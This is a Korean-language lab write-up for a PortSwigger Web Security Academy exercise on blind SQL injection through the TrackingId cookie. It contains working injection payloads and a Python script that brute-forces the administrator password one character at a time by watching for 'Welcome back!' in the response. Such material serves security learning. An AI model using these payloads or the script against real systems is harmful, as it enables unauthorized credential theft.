SQL-injection - Blind SQL injection with conditional responses
Cookie를 이용해 blind injection을 하는 문제로, 정상적인 결과가 리턴될 때에는 Welcome back! 이라는 문장이 보이면, 정상적으로 리턴되는 것.
cookie의 값을 보면 TrackingId 라는 key로 dNVZJnXZvN35tfKj 와 같이 값이 존재한다.
Base64 decoding을 해보면 적절한 text로 변형되는 것 같진 않다 (e.g., tՙ&uټݹ岣).
그래서 그냥 SQL injection 코드를 진행해보기로 했다.
' OR 1=1 --
를 진행한 결과, 정상적으로 Welcome back! 이 출력되었고, 패스워드의 개수를 알기 위해 아래의 쿼리문을 진행 하였다 (테이블의 정보는 문제에서 제공함).' union select password from users where username='administrator' and length(password)>20--
== False' union select password from users where username='administrator' and length(password)>19--
== True즉, 패스워드는 20자리로 구성되어있는 것을 확인할 수 있으며, 이제 노가다를 통해 얻어야 한다. 노가다가 기억이 나지 않아 예전에 풀었던 LOS 문제의 write up을 참조하였으며,
RIGNT(LEFT(password, N), 1)
과 같이 password의 n 번째 문자에 대해 질의가 가능하다.그러나,
' union select password from users where username='administrator' and ord(right(left(password,1)))>1--
와 같이 질의해봐도 정상적인 리턴이 되지 않는데.... 왜지?' union select password from users where username='administrator' and ord('a') > 1 --
도 정상적인 결과를 내놓지 않는다. 따라서 ord 함수가 없는 듯.' union select password from users where username='administrator' and ASCII('a') > 1 --
이건 된다!' union select password from users where username='administrator' and ascii(right(left(password,1),1)) > 1 --
이것도 된다!' union select password from users where username='administrator' and ascii(right(left(password,1),1)) = 56 --
== True이제 귀찮으니 아래 코드를 넣고 기다려보자 (파이썬 코드에서 <, > 을 이용하면 보다 적은 쿼리로 찾아낼 수 있지만 코딩하기 귀찮ㄷ..).
import requests pass_length = 20 password = list() for i in range(1,pass_length+1): for ascii_code in range(32, 127): cookies = { '$Cookie: session': '2oYF4vrpAHIjJlnjXattOEKq3EjAktnL', 'TrackingId': '\' union select password from users where username=\'administrator\' and ascii(right(left(password,{0}),1)) = {1} --'.format(i, ascii_code), } headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses', 'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8', } response = requests.get('https://ac831fd01e6494c980cb1431000f0072.web-security-academy.net/', headers=headers, cookies=cookies) if response.text.find('Welcome back!') != -1: print('password {0} of {1} found!'.format(i, pass_length)) password.append(chr(ascii_code)) break print(password)
결과는
['8', 'n', '7', 'l', 'c', 'k', 'g', 'n', 'n', '6', 'p', 'i', 'u', 'k', 'r', 'e', 'y', '7', 'c', 'f']
과 같다. 음.. 시도해보니 안되는데 예전에 있던 대소문자 이슈와 같을듯.for i in range(1,pass_length+1): for ascii_code in range(32, 127): cookies = { '$Cookie: session': 'Wv1F1u7STNlSYee0kQBnK0ejGhPIFDFo', 'TrackingId': '\' UNION SELECT password from users where username=\'administrator\' and right(left(password,{0}),1) = \'{1}\' --'.format(i, chr(ascii_code)), } headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses', 'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8', } response = requests.get('https://ac821f8f1ea81f29801b590500cc0089.web-security-academy.net/', headers=headers, cookies=cookies)
if response.text.find('Welcome back!') != -1:
print('password {0} of {1} found!'.format(i, pass_length))
password.append(chr(ascii_code))
break
print(password)
```
- 위의 코드로 동작을 확인하였으며, 아마 이전 코드는 웹 세션이 만료되면서, 비밀번호가 바뀌어서 그런 것 같다. 더 빨리 찾도록 코딩을 해놔야 겠다.